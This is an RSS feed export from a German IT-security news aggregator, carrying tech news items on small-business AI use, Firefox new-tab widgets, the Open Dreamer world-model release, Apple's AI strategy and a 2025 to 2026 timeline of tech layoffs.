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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<title><![CDATA[Corporate America may be using AI to cut jobs, but small businesses are using it to keep them]]></title>
<description><![CDATA[Reports of wide-scale replacement of workers by AI are overblown. Small businesses use it to help workersI recently met the owner of a company that sells windows and doors. He told me he invested about $10,000 in an AI application that is used by his salespeople in his showroom. The application l...]]></description>
<link>https://tsecurity.de/de/3695622/ai-nachrichten/corporate-america-may-be-using-ai-to-cut-jobs-but-small-businesses-are-using-it-to-keep-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695622/ai-nachrichten/corporate-america-may-be-using-ai-to-cut-jobs-but-small-businesses-are-using-it-to-keep-them/</guid>
<pubDate>Sun, 26 Jul 2026 14:16:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Reports of wide-scale replacement of workers by AI are overblown. Small businesses use it to help workers</p><p>I recently met the owner of a company that sells windows and doors. He told me he invested about $10,000 in an <a href="https://www.theguardian.com/technology/artificialintelligenceai">AI</a> application that is used by his salespeople in his showroom. The application listens to the conversations between the salesperson and the prospective customer and then automatically creates a quote for the salesperson to review and send.</p><p>“It allows my salespeople to talk to more customers and spend less time doing paperwork,” he said. “And it cuts down on errors.”</p> <a href="https://www.theguardian.com/business/2026/jul/26/small-businesses-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Corporate America may be using AI to cut jobs, but small businesses are using it to keep them]]></title>
<description><![CDATA[Reports of wide-scale replacement of workers by AI are overblown. Small businesses use it to help workersI recently met the owner of a company that sells windows and doors. He told me he invested about $10,000 in an AI application that is used by his salespeople in his showroom. The application l...]]></description>
<link>https://tsecurity.de/de/3695619/it-nachrichten/corporate-america-may-be-using-ai-to-cut-jobs-but-small-businesses-are-using-it-to-keep-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695619/it-nachrichten/corporate-america-may-be-using-ai-to-cut-jobs-but-small-businesses-are-using-it-to-keep-them/</guid>
<pubDate>Sun, 26 Jul 2026 14:15:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Reports of wide-scale replacement of workers by AI are overblown. Small businesses use it to help workers</p><p>I recently met the owner of a company that sells windows and doors. He told me he invested about $10,000 in an <a href="https://www.theguardian.com/technology/artificialintelligenceai">AI</a> application that is used by his salespeople in his showroom. The application listens to the conversations between the salesperson and the prospective customer and then automatically creates a quote for the salesperson to review and send.</p><p>“It allows my salespeople to talk to more customers and spend less time doing paperwork,” he said. “And it cuts down on errors.”</p> <a href="https://www.theguardian.com/business/2026/jul/26/small-businesses-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Firefox's New Tab Page Will Get Widgets - Including an AI-Powered Daily Crossword]]></title>
<description><![CDATA[In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports:

The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After ...]]></description>
<link>https://tsecurity.de/de/3695175/it-security-nachrichten/firefoxs-new-tab-page-will-get-widgets-including-an-ai-powered-daily-crossword/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695175/it-security-nachrichten/firefoxs-new-tab-page-will-get-widgets-including-an-ai-powered-daily-crossword/</guid>
<pubDate>Sun, 26 Jul 2026 07:16:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports:

The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After solving the crossword, links appear to related news articles...] If you just want to try the crossword, you access it in any browser via a direct link. 

While it may look like Mozilla is trying to capitalise on the Wordle craze several years too late, it's part of its strategy to make the Firefox new tab page a discover destination in itself, not just a springboard for new searches. The 'Daily Grind' crossword widget (name subject to change) is just one of several widgets Firefox has (or will get). You'll also find a to-do list, timer, stock checker, world clock, picture of the day, privacy report and new-look weather widget (bigger than the existing one). During the World Cup 2026, Firefox offered real-time match scores and fixture information too... 

[T]hey aren't mandatory. You can disable the ones you don't want to use, or, if you don't want any at all, turn them all off to hide the widget area itself. A button to 'show fewer widgets' frees up room to allow other distractions (sponsored stories) on the new tab page to show... [Presumably you can also still open new tabs to a blank page...] 

They're rolling out to users in certain region and locales already. Plus, Mozilla routinely tests new features with a small set of users before they hit stable builds (i.e., the "Allow Firefox to run feature studies" setting). If you don't have widgets in your Firefox build, but you want them, you can manually enable them in Firefox 153 and later from the about:config page. Search for the following master switch and set it to true to enable the widget area: 

 browser.newtabpage.activity-stream.widgets.system.enabled 
Then, enable the widgets you want to use by searching: 

 activity-stream.widgets.*.enabled 

However, the usual caveats about "trying things not enabled by default" still apply. Mozilla hasn't set a firm rollout date, though the feature is already documented on its support site. With fortnightly Firefox releases about to start, and a big Nova redesign, chances are we'll all be puzzling over these widgets sooner rather than later.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Firefox's+New+Tab+Page+Will+Get+Widgets+-+Including+an+AI-Powered+Daily+Crossword%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F1944229%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://news.slashdot.org/story/26/07/25/1944229/firefoxs-new-tab-page-will-get-widgets---including-an-ai-powered-daily-crossword?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<item>
<title><![CDATA[Firefox' New Tab Page Will Get Widgets - Including an AI-Powered Daily Crossword]]></title>
<description><![CDATA[In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports:

The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After ...]]></description>
<link>https://tsecurity.de/de/3694992/it-security-nachrichten/firefox-new-tab-page-will-get-widgets-including-an-ai-powered-daily-crossword/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694992/it-security-nachrichten/firefox-new-tab-page-will-get-widgets-including-an-ai-powered-daily-crossword/</guid>
<pubDate>Sun, 26 Jul 2026 06:31:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports:

The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After solving the crossword, links appear to related news articles...] If you just want to try the crossword, you access it in any browser via a direct link. 

While it may look like Mozilla is trying to capitalise on the Wordle craze several years too late, it's part of its strategy to make the Firefox new tab page a discover destination in itself, not just a springboard for new searches. The 'Daily Grind' crossword widget (name subject to change) is just one of several widgets Firefox has (or will get). You'll also find a to-do list, timer, stock checker, world clock, picture of the day, privacy report and new-look weather widget (bigger than the existing one). During the World Cup 2026, Firefox offered real-time match scores and fixture information too... 

[T]hey aren't mandatory. You can disable the ones you don't want to use, or, if you don't want any at all, turn them all off to hide the widget area itself. A button to 'show fewer widgets' frees up room to allow other distractions (sponsored stories) on the new tab page to show... [Presumably you can also still open new tabs to a blank page...] 

They're rolling out to users in certain region and locales already. Plus, Mozilla routinely tests new features with a small set of users before they hit stable builds (i.e., the "Allow Firefox to run feature studies" setting). If you don't have widgets in your Firefox build, but you want them, you can manually enable them in Firefox 153 and later from the about:config page. Search for the following master switch and set it to true to enable the widget area: 

 browser.newtabpage.activity-stream.widgets.system.enabled 
Then, enable the widgets you want to use by searching: 

 activity-stream.widgets.*.enabled 

However, the usual caveats about "trying things not enabled by default" still apply. Mozilla hasn't set a firm rollout date, though the feature is already documented on its support site. With fortnightly Firefox releases about to start, and a big Nova redesign, chances are we'll all be puzzling over these widgets sooner rather than later.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Firefox'+New+Tab+Page+Will+Get+Widgets+-+Including+an+AI-Powered+Daily+Crossword%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F1944229%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F1944229%2Ffirefox-new-tab-page-will-get-widgets---including-an-ai-powered-daily-crossword%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/25/1944229/firefox-new-tab-page-will-get-widgets---including-an-ai-powered-daily-crossword?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Meet Open Dreamer: A JAX/Flax Reproduction of the Dreamer 4 World Model Pipeline, With the Full Training Recipe Published]]></title>
<description><![CDATA[A small group of AI researchers (Reactor) have released Open Dreamer, an open implementation of the Dreamer 4 world-model pipeline written in JAX and Flax NNX. What actually shipped Two repositories were released. next-state/open-dreamer holds the training pipeline: a causal video tokenizer, an a...]]></description>
<link>https://tsecurity.de/de/3694878/ai-nachrichten/meet-open-dreamer-a-jaxflax-reproduction-of-the-dreamer-4-world-model-pipeline-with-the-full-training-recipe-published/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694878/ai-nachrichten/meet-open-dreamer-a-jaxflax-reproduction-of-the-dreamer-4-world-model-pipeline-with-the-full-training-recipe-published/</guid>
<pubDate>Sat, 25 Jul 2026 21:26:30 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A small group of AI researchers (Reactor) have released Open Dreamer, an open implementation of the Dreamer 4 world-model pipeline written in JAX and Flax NNX. What actually shipped Two repositories were released. next-state/open-dreamer holds the training pipeline: a causal video tokenizer, an action-conditioned latent dynamics model, rollout generation, and FVD scoring. reactor-team/open-dreamer holds a […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/25/meet-open-dreamer-a-jax-flax-reproduction-of-the-dreamer-4-world-model-pipeline-with-the-full-training-recipe-published/">Meet Open Dreamer: A JAX/Flax Reproduction of the Dreamer 4 World Model Pipeline, With the Full Training Recipe Published</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple could ‘run the table’ on AI if it does things right]]></title>
<description><![CDATA[Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.



Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to hel...]]></description>
<link>https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.</p>



<p class="wp-block-paragraph">Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.</p>



<p class="wp-block-paragraph">Apple also <a href="https://www.macobserver.com/news/apple-calls-its-new-assistant-siri-ai-at-wwdc-2026-gemini-partnership-now-official/" target="_blank" rel="noreferrer noopener">offers limited capacity for more complex tasks</a> through <a href="https://www.applemust.com/apple-commences-us-manufacturing-of-private-cloud-compute-servers/" target="_blank" rel="noreferrer noopener">Private Cloud Compute</a>, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. </p>



<h2 class="wp-block-heading"><strong>Deeply deployable</strong></h2>



<p class="wp-block-paragraph">Critics can say it <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">took Apple a long time</a> to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party <a href="https://www.computerworld.com/article/4164979/apple-will-be-behind-on-ai-until-it-isnt.html">doesn’t mean you won’t shine once you get there</a>.</p>



<p class="wp-block-paragraph">Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for <a href="https://www.computerworld.com/article/4016798/why-i-hope-apple-keeps-investing-in-on-device-ai.html">Edge AI use cases</a>, on device — no cloud service required.</p>



<p class="wp-block-paragraph">The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that <a href="https://www.tomshardware.com/tech-industry/semiconductors/apples-rumored-m7-ultra-targets-1-5tb-of-memory-and-blackwell-class-ai" target="_blank" rel="noreferrer noopener">future M7 Ultra Macs</a> will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. </p>



<p class="wp-block-paragraph">While that does assume the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">AI-flationary memory market</a> can supply that much RAM at prices humans can afford, it is also true that people are already <a href="https://www.computerworld.com/article/4092162/apples-macos-ai-for-the-rest-of-us.html">running AI clusters</a> using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe <a href="https://www.applemust.com/macweb-now-offers-mac-mini-cloud-clusters-in-east-coast-data-centre/" target="_blank" rel="noreferrer noopener">this will continue to be the case</a>, and that it will even broaden as the power/performance offered at the high end grows.</p>



<h2 class="wp-block-heading"><strong>What’s wrong with good enough?</strong></h2>



<p class="wp-block-paragraph">When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for <a href="https://www.computerworld.com/article/4074648/apples-big-bang-ai-moment-is-approaching.html">private AI services</a> and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support <a href="https://openclaw.ai/" target="_blank" rel="noreferrer noopener">OpenClaw</a> instances shows they already are.</p>



<p class="wp-block-paragraph">Ultimately, these different slices of momentum mean I agree with <a href="https://podcastalpha.substack.com/p/all-in-can-ai-regulate-itself-stripe" target="_blank" rel="noreferrer noopener">investor Jason Calacanis</a> that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. </p>



<p class="wp-block-paragraph">It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run <a href="https://9to5mac.com/2026/07/14/prismml-releases-bonsai-27b-claiming-first-major-ai-model-of-its-size-fit-for-iphone/" target="_blank" rel="noreferrer noopener">PrismML’s 1-bit, 27-billion parameter Bonsai</a> on an iPad using the Locally app, and that’s in the here and now.</p>



<p class="wp-block-paragraph">What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they <a href="https://www.applemust.com/morgan-stanley-its-when-not-if-apple-will-deliver-ai-on-the-edge/" target="_blank" rel="noreferrer noopener">have on their existing device</a> or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models <a href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html">will erode</a>. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all. </p>



<p class="wp-block-paragraph">“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.</p>



<h2 class="wp-block-heading"><strong>Who has the most to lose?</strong></h2>



<p class="wp-block-paragraph">The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.</p>



<p class="wp-block-paragraph">These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.</p>



<p class="wp-block-paragraph">Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)</p>



<h2 class="wp-block-heading"><strong>Cupertino rising</strong></h2>



<p class="wp-block-paragraph">What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



